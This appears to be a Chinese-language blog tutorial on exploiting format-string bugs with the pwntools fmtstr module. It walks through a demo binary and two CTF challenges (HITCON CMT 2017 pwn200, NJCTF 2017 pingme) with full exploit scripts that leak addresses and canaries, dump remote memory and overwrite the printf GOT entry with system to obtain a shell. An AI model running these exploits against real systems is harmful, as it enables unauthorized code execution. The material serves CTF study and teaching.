Linux Pwn - pwntools fmtstr模块

简介

pwntools中的pwnlib.fmstr模块提供了字符串漏洞利用的工具。

官方文档:pwnlib.fmtstr — Format string bug exploitation tools

该模块中定义了FmtStr类和fmtstr_payload函数

FmtStr提供了自动化的字符串漏洞利用

1
classpwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
  • execute_fmt:与漏洞进程交互的函数
  • offset:控制的第一个格式化程序的偏移
  • padlen:在payload前添加的填充大小
  • numbwritten:已经写入的字节数

fmtstr_payload用于自动生成格式化字符串payload

1
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
  • offset:控制的第一个格式化程序的偏移
  • writes:为字典,用于往addr中写入value,例如**{addr:** value, addr2: value2}
  • numbwritten:已经由printf写入的字节数
  • write_size:必须是byte/short/int其中之一,指定按什么数据宽度写(%hhn/%hn/%n

示例

代码

编译如下程序cc -m32 -fno-stack-protector -no-pie main.c -o main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(void)
{
char buf[1024];
while (1) {
memset(buf, 0, 1024);
read(stdin, buf, 1024);
printf(buf);
fflush(stdout);
}

return 0;
}

在此程序中,可以通过printf泄露并修改其地址为system,并在下次传入/bin/sh来获取shell

首先调试查看输入的缓冲区在栈上的偏移,这里输入字符串”AAAA”,可以看到这里的0x41414141位于printf可变参列表的第四个,即偏移4

exp

首先需要先获取printf的got地址和libc中的偏移,以及system在libc中的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process("./main")
elf = ELF("./main")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

printf_got = elf.got["printf"]
printf_offset = libc.symbols["printf"]
system_offset = libc.symbols["system"]

log,info("printf_got => %s" % hex(printf_got))
log,info("printf_offset => %s" % hex(printf_offset))
log,info("system_offset => %s" % hex(system_offset))

使用如下命令,也可得到相同的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 获取printf_got
pwn@ubuntu:~/workspace/format_vuln$ readelf -r main
...
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
...

# 获取printf_offset
pwn@ubuntu:~/workspace/format_vuln$ objdump -T /lib/i386-linux-gnu/libc.so.6 | grep printf
...
00049680 g DF .text 0000002a GLIBC_2.0 printf

# 获取system_offset
pwn@ubuntu:~/workspace/format_vuln$ objdump -T /lib/i386-linux-gnu/libc.so.6 | grep system
...
0003adb0 w DF .text 00000037 GLIBC_2.0 system

接着先试用一下FmtStr类来自动获取偏移,需要一个与进程交互函数get_vuln_offset,创建FmtStr对象并从返回值中获得偏移vuln_offset

1
2
3
4
5
6
7
def get_vuln_offset(payload):
p.sendline(payload)
info = p.recv()
return info

vuln_offset = FmtStr(get_vuln_offset).offset
log,info("vuln_offset => %s" % hex(vuln_offset))

之后构造第一次泄露printf实际地址的payload,并发送给程序接收8个字节的输出,其中后4字节就是printf的实际地址

利用printf在libc中的偏移计算system的实际地址

1
2
3
4
5
6
7
payload = p32(printf_got) + "%{}$.8s".format(vuln_offset)
p.sendline(payload)
printf_addr = u32(p.recv()[4:8])
log,info("printf address => %s" % hex(printf_addr))

system_addr = printf_addr - printf_offset + system_offset
log,info("system address => %s" % hex(system_addr))

最后,试着使用fmtstr_payload构造漏洞利用payload,获取shell

1
2
3
4
5
payload = fmtstr_payload(vuln_offset, {printf_got : system_addr})
p.sendline(payload)
p.sendline("/bin/sh")
p.recv()
p.interactive()

题目

HITCON CMT 2017: pwn200

该题目有编码,编译开启Cannary和NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void canary_protect_me(void)
{
system("/bin/sh");
}

int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char buf[40];
gets(buf);
printf(buf); // 格式化字符串漏洞
gets(buf); // 缓冲区溢出
return 0;
}

可以看出printf函数存在格式化字符串漏洞,而gets存在栈溢出,由于开启了Cannary,可以用printf泄露Cannary值然后通过栈溢出覆盖为相同的值,将返回地址替换为canary_protect_me地址

首先获取Cannary值的位置,可以看到在ebp-0xc处,之后断在调用printf上,计算偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Dump of assembler code for function main:
0x08048564 <+0>: lea ecx,[esp+0x4]
0x08048568 <+4>: and esp,0xfffffff0
0x0804856b <+7>: push DWORD PTR [ecx-0x4]
0x0804856e <+10>: push ebp
0x0804856f <+11>: mov ebp,esp
0x08048571 <+13>: push ecx
0x08048572 <+14>: sub esp,0x34
0x08048575 <+17>: mov eax,gs:0x14
0x0804857b <+23>: mov DWORD PTR [ebp-0xc],eax ; Cannary

# Canany地址
gdb-peda$ x/wx $ebp-0xc
0xffffcf4c: 0xe7af4300
# 栈顶
gdb-peda$ x/wx $esp
0xffffcf10: 0xffffcf24
# 偏移
gdb-peda$ print $ebp-0xc-$esp
$7 = 0x3c
# 偏移,即15
gdb-peda$ print 0x3c/4
$8 = 0xf

拿到了Cannary的偏移,接着计算返回地址的位置,由于直到了Cannary的位置ebp - 0xc,返回地址在ebp + 4,所以可以变相求得返回地址相对于Cannary偏移+0x10,由于Cannary占4字节,填充完Cannary后偏移+0xc是返回地址,断在最后一个gets函数上,计算buf与Cannary的偏移为0x28,之后就可以构造exp了

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process("./binary_200")

p.sendline("%15$x")
cannary_value = int(p.recv(), 16)
log.info("Cannary Value => %s" % hex(cannary_value))

payload = "A" * 0x28 + p32(cannary_value) + "B" * 0xc + p32(0x0804854D) # 0x0804854D为canary_protect_me地址
p.sendline(payload)
p.interactive()

注意

使用GCC编译时,可能会在生成的函数序言和尾声中额外添加一些代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
; 序言
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp

; 尾声
mov ecx, [ebp-4]
leave
lea esp, [ecx-4]
retn

根据相关资料这段额外代码主要用于在堆栈上作16字节对齐,在x64下生成x86程序均会产生这种额外的代码,这种额外添加的代码会对缓冲区溢出覆盖eip造成一点点影响,但依然是可利用的。

esp是来自ecx,而ecx[ebp - 4],栈基址ebp在函数内一般是不会变动且位于高地址上,溢出是可以覆盖到此处,那么就可以实现控制ecx来简介控制esp

NJCTF 2017: pingme

此题只提供远程IP及端口,没有二进制文件,于是也就模拟同样在本地开启服务监听,不看二进制文件

1
socat tcp-listen:8888,reuseaddr,fork exec:./pingme &

连接上去尝试输入一些东西,可以看到有格式化漏洞的痕迹

1
2
3
4
5
6
pwn@ubuntu:~/workspace/format_vuln$ nc 127.0.0.1 8888
Ping me
ABCD
ABCD
ABCD%x
ABCD40

先确定一下此处的偏移,结果为7

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote("127.0.0.1", "8888")
def get_vuln_offset(payload):
p.sendline(payload)
info = p.recv()
return info

p.recvuntil("Ping me\n")
vuln_offset = FmtStr(get_vuln_offset).offset
log.info("vuln offset => %d" % vuln_offset)
p.close()

接着就可以利用格式化字符串漏洞来dump内存,由于此程序只开启了NX保护,x86下进程默认装载地址为0x8048000,dump一个分页大小也就足够了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def dump_process_memory(start, mem_len):
dump_len = 0
result = ""
while dump_len < mem_len:
p = remote("127.0.0.1", "8888")
p.recvuntil("Ping me\n")
payload = "%{}$s-ABC".format(vuln_offset + 2) + p32(start + dump_len)
p.sendline(payload)
data = p.recvuntil("-ABC")[:-4]
if data == "":
data = '\x00'
dump_len += len(data)
result += data
p.close()
return result

dump_data = dump_process_memory(0x8048000, 0x1000)
f = open("dump", "wb")
f.write(dump_data)
f.close()
log.info("dump over...")

这样就拿到了部分二进制文件,目前还缺少libc,假设可以拿到libc,那么就要查看dump下来的文件,获取printf的got在于libc库比较,得到具体的libc,之后就是常规的计算偏移

1
2
pwn@ubuntu:~/workspace/format_vuln$ readelf -r dump | grep printf
08049974 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0

假设拿不到libc文件,那么就使用DynELF模块来泄露函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def leak(addr):
p.recvline()
payload = "%9$s-ABC" + p32(addr)
p.sendline(payload)
data = p.recvuntil("-ABC")[:-4] + '\x00'
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
return data

p = remote("127.0.0.1", "8888")
dynelf = DynELF(leak, 0x08048490) # 0x08048490为dump下来文件中main函数地址
system_addr = dynelf.lookup('system', 'libc')
printf_addr = dynelf.lookup('printf', 'libc')
log.info("system addr => %s" % hex(system_addr))
log.info("printf addr => %s" % hex(printf_addr))
p.close()

最后在在将printf的got地址替换为system的真实地址,传入/bin/sh即可获得shell

1
2
3
4
5
6
print_got = 0x08049974
payload = fmtstr_payload(7, {print_got : system_addr})
p.sendline(payload)
p.recv()
p.sendline("/bin/sh")
p.interactive()

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信